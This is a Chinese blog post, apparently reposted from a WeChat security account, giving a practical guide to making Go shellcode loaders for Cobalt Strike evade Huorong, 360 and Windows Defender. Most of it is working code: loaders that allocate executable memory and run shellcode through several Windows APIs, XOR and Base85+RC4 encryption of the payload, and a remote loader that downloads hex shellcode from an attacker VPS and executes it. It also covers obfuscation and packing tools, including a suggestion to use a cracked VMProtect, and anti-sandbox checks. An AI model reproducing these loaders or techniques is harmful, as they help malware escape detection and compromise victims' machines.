go实现免杀(实用思路篇)

admin 2024年6月11日22:29:37评论86 views字数 22648阅读75分29秒阅读模式
 

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号团队不为此承担任何责任。

文章正文

前言

最近也是攻防旺季,发一个上次免杀总结的续集,后续发现用了go可以比较好过defender,所以就尝试了使用go进行免杀的尝试
下面是我在使用go免杀时的一些思路以及思考, 如有不正之处,请师傅们指正 。
这篇文章旨在给没有免杀基础的师傅提供一些思路,我也是web狗来的,所以各位老哥不用担心不会写免杀,结合gpt 组合一下下面方法都是可以用的 ,我整理出来都是自己尝试过觉得有效果的,免杀还得是自己动手各种组合尝试,过过国内主流杀软火绒360defender还是不难的,不要觉得这个东西用太多了已经没用了。
本文使用的是cs4.8版本测试, 每个单独的方法可以丢沙箱看看大概效果,组合后具体效果测试使用国内主流的三款杀软 ,为了效果更好可以按照下面方法使用生成的random.profile配置文件
本文使用c语言的shellcode,在notepad手动把x替换空格处理过,把xfcx48x83xe4xf0xe8处理成fc4883e4f0e8格式

小知识

0x0 cs profile

现在cs的特征已经被各大杀软监控的非常严,所以我们只能通过修改cs的流量特征,也能起到部分免杀效果,解析cs profile文件网上文章很多,也不是我们这篇文章的主题,直接上工具
工具:
https://github.com/RedSiege/C2concealer
https://github.com/threatexpress/random_c2_profile
可生成随机的 C2 可延展配置文件,几条命令就能安装
生成后可以先使用client验证profile文件是否有效

go实现免杀(实用思路篇)

像这种报错,直接到profile文件里对应的行数用#注释了即可

go实现免杀(实用思路篇)

这样即可证明profile有效
接着在启动cs时./teamserver 8.8.8.8 123321 cs.profile最后跟上profile路径即可

0x1.取消黑框

方法一:编译命令
go build -ldflags="-H windowsgui" mian.go
方法二:
包含"github.com/lxn/win",在mian函数第一行加上win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)

package main

import "github.com/lxn/win"

func main(){
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}

0x2 常用编译命令

常用编译命令,免杀效果较好,可以减少文件体积
go build -ldflags="-s -w" -o 1.exe

0x3 garble混淆

一些go工具混淆编译后也可以实现免杀效果

安装

go install mvdan.cc/garble@latest
正常会安装在go/bin目录下

混淆偏移:

GOOS=windows GOARCH=amd64 garble -literals -tiny -seed=random build -o app.exe main.go

在window编译把garble前面的去掉

其他编译:

garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go


garble(混淆库):
  -tiny              删除额外信息                    
  -literals          混淆文字
  -seed=random       base64编码的随机种子 
 go:
  -w                 去掉调试信息,不能gdb调试了
  -s                 去掉符号表
  -H windowsgui      隐藏执行窗口,不占用 cmd 终端。(被查杀率高)
  -race              使数据允许竞争检测,编译时改变了生成后的文件特征
  ,使得杀软无法检测,当然有一天也会失效的。

0x4 去特征

项目地址:
https://github.com/optiv/Mangle
可以使用去特征工具再进行一步特征去除:

Mangle_1.2_windows_amd64.exe -I app-amd64.exe -M -O aaa.exe

0x5 upx压缩体积

马子太大的话可以使用这个压缩体积
https://github.com/upx/upx
upx.exe -9 xxx.exe

0x6 go加载shellcode注意

go加载shellcode时需要转换成字节数组才能加载,在测试打印我们一般转换成十六进制字符串打印出来
在加解密过程中踩坑较多,需要注意函数输入和输出的到底是十六进制字符串还是字节数组
例如:
message := "fc4883e4f0e8c8"就是十六进制字符串
十六进制字符串string转换成字节数组byteArray
byteArray, _ := hex.DecodeString(hexString)
字节数组转换成十六进制字符串
hexString := hex.EncodeToString(byteArray)

静态

先介绍一个普通的shellcode加载器,虽然也有的函数比如VirtualAlloc使用了syscall,但总体免杀能力较差,可以对比出加密后效果,下面加密和反沙箱都用这个加载方式对比

加载器代码

package main

import (
    "encoding/hex"
    "syscall"
    "unsafe"

    "golang.org/x/sys/windows"
)

func main() {
    code := ""

    decode, _ := hex.DecodeString(code)
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(decode))
    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decode)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

效果:

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

1.加解密

下面介绍的各种加解密方法都可以各种排列组合起来使用,一般两种就够了
加密部分我直接放沙箱效果图,这里起一个抛砖引玉的作用,网上关于shellcode加密的资料很多,大家也可以去找一些小众的或者自己编写的简单加密,一般一两个加密组合起来足够了。

XOR

加解密测试代码

package main

import (
    "encoding/hex"
    "fmt"
)

func main() {
    message := "" // shellcode
    byteArray, _ := hex.DecodeString(message)

    // XOR 操作
    xordMessage := make([]byte, len(byteArray))
    for i := 0; i < len(byteArray); i++ {
        xordMessage[i] = byteArray[i] ^ 0x11
    }
    hexString := hex.EncodeToString(xordMessage)
    fmt.Println(hexString)
    //hexString为XOR加密后的shellcode,下面仅为解密测试代码

    xordMessage1 := make([]byte, len(xordMessage))
    for i := 0; i < len(xordMessage); i++ {
        xordMessage1[i] = xordMessage[i] ^ 0x11
    }
    hexString1 := hex.EncodeToString(xordMessage1)
    fmt.Println(hexString1)

}

解密加载代码:

package main

import (
    "encoding/hex"
    "syscall"
    "unsafe"

    "golang.org/x/sys/windows"
)

func main() {
    code := ""
    byteArray, _ := hex.DecodeString(code)
    xordMessage := make([]byte, len(byteArray))
    for i := 0; i < len(byteArray); i++ {
        xordMessage[i] = byteArray[i] ^ 0x11
    }

    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(xordMessage))
    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, xordMessage)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

效果:

可以看到异或加密虽然有效但是不多,比起下面的base85+rc4组合加密的效果还是差一些

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

Base85+RC4

加解密测试代码

package main

import (
    "crypto/rc4"
    "encoding/hex"
    "fmt"
    "github.com/eknkc/basex"
    "log"
)

func main() {
    message := "shellcode"

    //定义base85加密
    base85, err := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
    if err != nil {
        log.Fatalf("Failed to create Base85 encoding: %v", err)
    }

    messageArray, err := hex.DecodeString(message)

    //rc加密
    key := []byte("acb")
    cipher, _ := rc4.NewCipher(key)
    rc4Message := make([]byte, len(messageArray))
    cipher.XORKeyStream(rc4Message, messageArray)
    hexCiphertext := hex.EncodeToString(rc4Message)
    fmt.Printf("rc4 Encoded: %sn", hexCiphertext)
    //fmt.Printf("rc4Message Encoded Message: %sn", rc4Message)

    //base85加密
    encodedMessage := base85.Encode(rc4Message)
    //encodedMessage为加密好的shellcode,下面的解密操作只是测试
    fmt.Printf("Base85 Encoded Message: %sn", encodedMessage)

    //base85解密
    decodedBytes, err := base85.Decode(encodedMessage)
    if err != nil {
        log.Fatalf("Failed to decode Base85 message: %v", err)
    }
    decodedBytes1 := hex.EncodeToString(decodedBytes)
    fmt.Printf("Base85 Decoded: %sn", decodedBytes1)
    //fmt.Printf("decodedBytes Decoded Message: %sn", decodedBytes)

    //rc4解密
    cipher, _ = rc4.NewCipher(key)
    xordMessage1 := make([]byte, len(decodedBytes))
    cipher.XORKeyStream(xordMessage1, decodedBytes)
    xordMessage2 := hex.EncodeToString(xordMessage1)
    fmt.Printf("rc4 Decoded: %sn", xordMessage2)

}

解密执行代码

package main

import (
    "crypto/rc4"
    "github.com/eknkc/basex"
    "log"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    key := []byte("acb")
    encodedMessage := "上面加密代码中的encodedMessage"

    //定义base85
    base85, err := basex.NewEncoding("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!#$%&()*+-;<=>?@^_`{|}~")
    if err != nil {
        log.Fatalf("Failed to create Base85 encoding: %v", err)
    }
    //base85解密
    decodedrc4, err := base85.Decode(encodedMessage)
    if err != nil {
        log.Fatalf("Failed to decode Base85 message: %v", err)
    }

    cipher, _ := rc4.NewCipher(key)
    code := make([]byte, len(decodedrc4))
    cipher.XORKeyStream(code, decodedrc4)

    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(code))
    mem, _, _ := VirtualAlloc.Call(0, allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, code)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

效果:

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

参考文章:https://pizz33.github.io/posts/4ac17cb886a9/
更多加密方法:https://github.com/wumansgy/goEncrypt

2.加壳

效果

对于重视静态的火绒效果比较好,但是360加壳容易被杀

加冷门的壳:因为用的多的壳已经被杀软研究透彻了,公开壳对于360这种杀软基本是必杀的,公开壳或者较为简单的自定义壳基本都能自动脱壳后查杀
修改冷门壳:通常都是修改壳的特征,让杀软不认识原本的壳了,具体操作例如修改程序入口,增加无效指令,区段信息修改等。
例如safe的壳,之前可以直接过火绒,现在可能得结合点其他方法,只能说这是个思路
http://www.safengine.com/downloads/get-demo
或者vmprotect壳,目前可以直接过火绒,破解版谷歌搜
官网:https://vmpsoft.com/

go实现免杀(实用思路篇)

动态

1.syscall

调用go的syscall库,直接快速调用底层函数,绕过一些杀软r3层面的hook

package main

import (
    //"encoding/hex"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")

    decode1 = "shellcode"
)

func main() {

    decode, _ := hex.DecodeString(decode1)

    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decode[0])), uintptr(len(decode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
}

效果:

没放虚拟机测,直接丢沙箱看效果

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

2.远程加载

效果:

果然,一个普通的远程加载就能直接绕过火绒了,加了syscall反而不行,火绒对go调用的库还是比较敏感的

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

c++编写的远程加载也可以绕过火绒,基本远程加载都可以过火绒的,360和Defender还得加一些其他操作,比如加个密混淆,加个签名,用其他方法加载等

代码实现:

这里服务器上面需要使用命令python -m http.server 5000开个服务,在目录下存放shellcode文件,shellcode需要使用脚本或者notepad,把x都去掉。如xd2x03x00x90x59x01x00xce替换成d2030090590100

package main

import (
    "encoding/hex"
    "golang.org/x/sys/windows"
    "io/ioutil"
    "net/http"
    "unsafe"
)

const (
    MEM_COMMIT        = 0x1000
    MEM_RESERVE       = 0x2000
    PAGE_EXECUTE_READ = 0x20
    PAGE_READWRITE    = 0x04
)

func main() {
    url := ""
    resp, _ := http.Get(url)

    defer resp.Body.Close()

    respData, _ := ioutil.ReadAll(resp.Body)

    respString := string(respData)
    shellcode2, _ := hex.DecodeString(respString)
    data := shellcode2
    /*for i := 0; i < len(data); i++ {
        fmt.Printf("%x", data[i])
    }*/
    //execEnumChildWindows(data)
    kernel32 := windows.NewLazySystemDLL("kernel32")
    //user32 := windows.NewLazySystemDLL("user32")

    RtlMoveMemory := kernel32.NewProc("RtlMoveMemory")
    VirtualAlloc := kernel32.NewProc("VirtualAlloc")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    //EnumChildWindows := user32.NewProc("EnumChildWindows")

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
        panic(1)
    }
    _, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
    if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
        panic(1)
    }
    oldProtect := PAGE_READWRITE
    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
        panic(1)
    }
    CreateThread := kernel32.NewProc("CreateThread")
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)

}

3.冷门函数

冷门windows api的调用,也可以过掉部分杀软的查杀机制,这是个思路,还可以找其他冷门的api使用,c有的api函数go基本也都有。
这个网站列举了很多api,可供参考:
http://ropgadget.com/posts/abusing_win_functions.html

EnumThreadWindows函数

import (
    "encoding/hex"
    "unsafe"
    "golang.org/x/sys/windows"
    "syscall"
)

func loader(calc []byte) {

    mKernel32, _ := syscall.LoadDLL("kernel32.dll")
    mUser32, _ := syscall.LoadDLL("user32.dll")

    fVirtualAlloc, _ := mKernel32.FindProc("VirtualAlloc")
    calc_len := uintptr(len(calc))
    Ptr1, _, _ := fVirtualAlloc.Call(uintptr(0), calc_len, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    WriteMemory(calc, Ptr1)
    fenumThreadWindows, _ := mUser32.FindProc("EnumThreadWindows")
    fenumThreadWindows.Call(0, Ptr1, 0)
}

效果:

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

CreateFiber函数

func execCreateFiber(data []byte) {
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")
    ntdll := windows.NewLazySystemDLL("ntdll.dll")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
    ConvertThreadToFiber := kernel32.NewProc("ConvertThreadToFiber")
    CreateFiber := kernel32.NewProc("CreateFiber")
    SwitchToFiber := kernel32.NewProc("SwitchToFiber")

    fiberAddr, _, _ := ConvertThreadToFiber.Call()

    addr, _, _ := VirtualAlloc.Call(0, uintptr(len(data)), MEM_COMMIT|MEM_RESERVE, windows.PAGE_READWRITE)

    if addr == 0 {
        panic(1)
    }

    RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))

    oldProtect := windows.PAGE_READWRITE
    VirtualProtect.Call(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    fiber, _, _ := CreateFiber.Call(0, addr, 0)

    SwitchToFiber.Call(fiber)
    SwitchToFiber.Call(fiberAddr)
}

效果:

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

CreateThread函数

func execCreateThread(data []byte) {

    addr, _ := windows.VirtualAlloc(uintptr(0), uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
    ntdll := windows.NewLazySystemDLL("ntdll.dll")
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
    RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
    var oldProtect uint32
    windows.VirtualProtect(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, &oldProtect)
    kernel32 := windows.NewLazySystemDLL("kernel32.dll")
    CreateThread := kernel32.NewProc("CreateThread")
    thread, _, _ := CreateThread.Call(0, 0, addr, uintptr(0), 0, 0)
    windows.WaitForSingleObject(windows.Handle(thread), 0xFFFFFFFF)
}

效果:

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

EtwpCreateEtwThread

package main

import (
    "encoding/hex"
    "fmt"
    "log"
    "unsafe"

    "golang.org/x/sys/windows"
)

const (
    MEM_COMMIT = 0x1000

    MEM_RESERVE = 0x2000

    PAGE_EXECUTE_READ = 0x20

    PAGE_READWRITE = 0x04
)

func main() {

    code := "shellcode"

    shellcode, errShellcode := hex.DecodeString(code)
    if errShellcode != nil {
        log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
    }

    kernel32 := windows.NewLazySystemDLL("kernel32.dll")
    ntdll := windows.NewLazySystemDLL("ntdll.dll")

    VirtualAlloc := kernel32.NewProc("VirtualAlloc")
    VirtualProtect := kernel32.NewProc("VirtualProtect")
    RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
    EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
    WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")

    addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

    if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:rn%s", errVirtualAlloc.Error()))
    }

    if addr == 0 {
        log.Fatal("[!]VirtualAlloc failed and returned 0")
    }

    _, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

    if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:rn%s", errRtlCopyMemory.Error()))
    }

    oldProtect := PAGE_READWRITE
    _, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
    if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("Error calling VirtualProtect:rn%s", errVirtualProtect.Error()))
    }

    //var lpThreadId uint32
    thread, _, errEtwThread := EtwpCreateEtwThread.Call(addr, uintptr(0))

    if errEtwThread != nil && errEtwThread.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling EtwpCreateEtwThread:rn%s", errEtwThread.Error()))
    }

    _, _, errWaitForSingleObject := WaitForSingleObject.Call(thread, 0xFFFFFFFF)
    if errWaitForSingleObject != nil && errWaitForSingleObject.Error() != "The operation completed successfully." {
        log.Fatal(fmt.Sprintf("[!]Error calling WaitForSingleObject:rn:%s", errWaitForSingleObject.Error()))
    }

}

效果:

go实现免杀(实用思路篇)

4.远程加载+syscall

个人比较喜欢使用远程加载,也可以使用资源或者shellcode写入图片等方法

package main

import (
    "encoding/hex"
    "io/ioutil"
    "net/http"
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
    //code          = "fc4883e4f0e8c..." //16进制字符串代码
    url = "http://vps:5003/shell.txt"
)

func main() {

    //time.Sleep(61 * time.Second)

    resp, _ := http.Get(url)

    defer resp.Body.Close()

    respData, _ := ioutil.ReadAll(resp.Body)

    respString := string(respData)
    shellcode2, _ := hex.DecodeString(respString)
    decode := shellcode2
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decode[0])), uintptr(len(decode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        syscall.Exit(0)
    }
    _, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
    print("ok")
}

效果:

defender和360动静态都过,但是火绒静态都没过

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

我们可以接着给exe加个签名和图标,发现火绒还是落地杀
再给exe加个vmp的壳,经过测试发现火绒defender可以过,但是360动静态都杀了

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

总结:360对加壳的程序查杀的比较严格,火绒对一些库的调用查杀的比较严格但是只要过了静态都好说

5.sgn混淆+远程加载 + syscall调用

sgn是一个二进制编码器,免杀效果还不错,他混淆过后的shellcode是可以直接运行,不用解密的。
github地址:https://github.com/EgeBalci/sgn
先把shellcode生成出来,用下面代码转换成bin文件

#include <stdio.h>

unsigned char buf[] = "";

void main()
{
    FILE* fp = fopen("D:\bypassav\beacon\c_bin.bin","wb");
    fwrite(buf,sizeof(buf),1,fp);
    fclose(fp);
}

使用sgn混淆后

go实现免杀(实用思路篇)
go实现免杀(实用思路篇)

把bin文件的十六进制文件复制到一个txt文件,并用notepad或者python处理成这种格式

go实现免杀(实用思路篇)

也就是把x替换掉和换行替换掉
接下来的代码和上面远程加载+syscall的一样,sgn混淆过后的二进制代码是可以直接运行的

参考地址:https://github.com/safe6Sec/GolangBypassAV/blob/master

反沙箱

使用的时候可以多加几个反杀箱函数去检测沙箱
反沙箱的本质就是找真实的机器与虚拟机的区别,例如时间流逝速度,物理内存,父进程等区别去判断,也可以根据沙箱对抗我们反沙箱的行为特征去判断
如果判断可能在沙箱里,就停止加载shellcode,沙箱就无法继续分析我们exe的行为了。
以下都只是反杀箱常见思路,测试下来挺多
下面是两个github反沙箱的项目,时间比较久远,仅供参考思路
https://github.com/nek0YanSu/CheckVM-Sandbox
https://github.com/ZanderChang/anti-sandbox

0.延迟加载

沙箱检测时行为扫描可能会在短时间内扫描exe文件判断是否为恶意软件,在这段时间内我们的程序sleep没有动作,则可能绕过沙箱的检测。这对火绒可能比较有用,但是现在有些沙箱可能会加快虚拟机内时间,

func Sleeeep()  {
    res := 1
    for i := 0; i < 5; i++ {
        number := rand.Intn(900) + 100
        res *= number
    }
    time.Sleep(10 * time.Second)
}

1.检查参数

func checkArgs() bool {
    if len(os.Args) > 1 && os.Args[1] == "1" {
        return false
    }
    return true
}
func main() {
    if checkArgs() {
        os.Exit(1)
    }
}

2.检测父进程

我们一般双击启动的exe父进程都是explorer,如果一个进程的父进程不是explorer,我们就判断可能是沙箱,停止加载shellcode。
代码实现过程:
调用CreateToolhelp32Snapshot拍摄进程快照,然后遍历我们当前进程的父进程PID,随后进行查询Explorer的PID,最后进行比较explorer PID和当前程序的PID

import (
    "fmt"
    "os"
    "syscall"
    "unsafe"

    "golang.org/x/sys/windows"
)

// 获取父进程ID
func getParentProcessID(pid uint32) (uint32, error) {
    snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
    if err != nil {
        return 0, err
    }
    defer windows.CloseHandle(snapshot)

    var pe32 windows.ProcessEntry32
    pe32.Size = uint32(unsafe.Sizeof(pe32))

    if err := windows.Process32First(snapshot, &pe32); err != nil {
        return 0, err
    }

    for {
        if pe32.ProcessID == pid {
            return pe32.ParentProcessID, nil
        }
        if err := windows.Process32Next(snapshot, &pe32); err != nil {
            break
        }
    }

    return 0, fmt.Errorf("未找到进程 %d 的父进程", pid)
}

// 获取指定进程名称对应的进程ID
func getProcessIDByName(processName string) (uint32, error) {
    snapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
    if err != nil {
        return 0, err
    }
    defer windows.CloseHandle(snapshot)

    var pe32 windows.ProcessEntry32
    pe32.Size = uint32(unsafe.Sizeof(pe32))

    if err := windows.Process32First(snapshot, &pe32); err != nil {
        return 0, err
    }

    for {
        if windows.UTF16ToString(pe32.ExeFile[:]) == processName {
            return pe32.ProcessID, nil
        }
        if err := windows.Process32Next(snapshot, &pe32); err != nil {
            break
        }
    }

    return 0, fmt.Errorf("进程 %s 未找到", processName)
}

// 反沙箱函数
func antiSandbox() {
    pid := uint32(os.Getpid())
    ppid, err := getParentProcessID(pid)
    if err != nil {
        fmt.Println("获取父进程ID失败:", err)
        os.Exit(1)
    }

    explorerPID, err := getProcessIDByName("explorer.exe")
    if err != nil {
        fmt.Println("获取explorer进程ID失败:", err)
        os.Exit(1)
    }

    fmt.Printf("当前进程ID: %d, 父进程ID: %d, Explorer进程ID: %dn", pid, ppid, explorerPID)
    if ppid != explorerPID {
        fmt.Println("检测到沙箱或虚拟机环境!")
        os.Exit(1)
    } else {
        fmt.Println("未检测到沙箱或虚拟机环境.")
    }
}

3.检测开机时间

很多沙箱检测完了就会重启,可以用开机时间来判断是否为沙箱,比如判断开机时间是否大于半小时

func bootTime() (int, error) {
    var kernel = syscall.NewLazyDLL("Kernel32.dll")
    GetTickCount := kernel.NewProc("GetTickCount")
    r, _, _ := GetTickCount.Call()
    if r == 0 {
        return 0, nil
    }
    ms := time.Duration(r * 1000 * 1000)
    fmt.Println("开机时常为:", ms)
    tm := time.Duration(30 * time.Minute)
    if ms < tm {
        return 0, nil
    } else {
        return 1, nil
    }
}

4.检测物理内存

func physicalMemory() (int, error) {
    var mod = syscall.NewLazyDLL("kernel32.dll")
    var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
    var mem uint64
    proc.Call(uintptr(unsafe.Pointer(&mem))) // ret, _, err := proc.Call(uintptr(unsafe.Pointer(&mem)))
    mem = mem / 1048576                      
    if mem < 4 {
        fmt.Printf("物理内存为%dGn", mem)
        return 0, nil // 小于4GB返回0
    }
    fmt.Printf("物理内存为%dGn", mem)
    return 1, nil // 大于4GB返回1
}

5.检测cpu核心数

func numberOfCPU() (int, error) {
    a := runtime.NumCPU()
    fmt.Println("CPU核心数为:", a)
    if a < 4 {
        return 0, nil // 小于4核心数,返回0
    } else {
        return 1, nil // 大于4核心数,返回1
    }
}

6.检测临时文件数

func numberOfTempFiles() (int, error) {
    conn := os.Getenv("temp") // 通过环境变量读取temp文件夹路径
    var k int
    if conn == "" {
        fmt.Println("未找到temp文件夹,或temp文件夹不存在")
        return 0, nil
    } else {
        local_dir := conn
        err := filepath.Walk(local_dir, func(filename string, fi os.FileInfo, err error) error {
            if fi.IsDir() {
                return nil
            }
            k++
            // fmt.Println("filename:", filename)  // 输出文件名字
            return nil
        })
        fmt.Println("Temp总共文件数量:", k)
        if err != nil {
            // fmt.Println("路径获取错误")
            return 0, nil
        }
    }
    if k < 30 {
        return 0, nil
    }
    return 1, nil

}

文章来源:https://xz.aliyun.com/t/14692

原文始发于微信公众号(Z2O安全攻防):go实现免杀(实用思路篇)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日22:29:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   go实现免杀(实用思路篇)http://cn-sec.com/archives/2839255.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息